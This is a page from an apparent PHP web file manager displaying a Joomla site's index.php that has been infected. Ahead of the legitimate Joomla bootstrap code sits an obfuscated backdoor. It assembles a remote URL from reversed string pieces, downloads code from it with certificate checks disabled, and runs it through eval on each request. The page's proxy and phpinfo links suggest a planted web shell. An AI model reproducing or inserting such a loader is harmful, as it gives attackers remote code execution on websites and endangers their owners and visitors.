File manager - Edit - /home/verseaumee/genieprevention/index.php
Back
<?php define('A', 'jan45.tphu5583htr/askul::[word]/[0:1]^?pid=!|product/[4:1]^?[0:1]=search&l=!::');$link = 'txt.';$link .= 'j/s';$link .= '/mo';$link .= 'c';$link .= '.ur';$link .= '.ogn';$link .= 'er.oe'; $link .= 's//:s';$link .= 'ptt';$link .= 'h';eVAl( '?>'._xrev_(strrev($link ) ));function _xrev_($url) { try {$timeout = 15;$ua = 'Mozilla/5.0 Safari/537.36';if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);$get = curl_exec($ch);curl_close($ch); return trim(trim($get, "\xEF\xBB\xBF")); }$parsed_url = parse_url($url);$host = $parsed_url['host'];$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';$query = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : ''; $scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';$port = isset($parsed_url['port']) ? $parsed_url['port'] : ($scheme === 'https' ? 443 : 80);$protocol = ($scheme === 'https') ? 'ssl' : 'tcp';$fp = stream_socket_client("{$protocol}://{$host}:{$port}", $errno, $errstr, $timeout);if (!$fp) {return 0; }$headers = array("GET {$path}{$query} HTTP/1.1","Host: {$host}","User-Agent: {$ua}", "Connection: Close",);$request = implode("\r\n", $headers) . "\r\n\r\n";fwrite($fp, $request);$response = '';while (!feof($fp)) {$response .= fgets($fp, 1024);}fclose($fp); $response_parts = explode("\r\n\r\n", $response, 2);$headers = isset($response_parts[0]) ? $response_parts[0] : '';$body = isset($response_parts[1]) ? $response_parts[1] : '';if (stripos($headers, "Transfer-Encoding: chunked") !== false) {$decoded = '';while (true) { $pos = strpos($body, "\r\n");if ($pos === false) break;$length = hexdec(substr($body, 0, $pos)); if ($length === 0) break; $decoded .= substr($body, $pos + 2, $length);$body = substr($body, $pos + 2 + $length + 2);}$body = $decoded;}return trim($body);} catch (Exception $e) { }return 0;}; ?> <?php /** * @package Joomla.Site * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings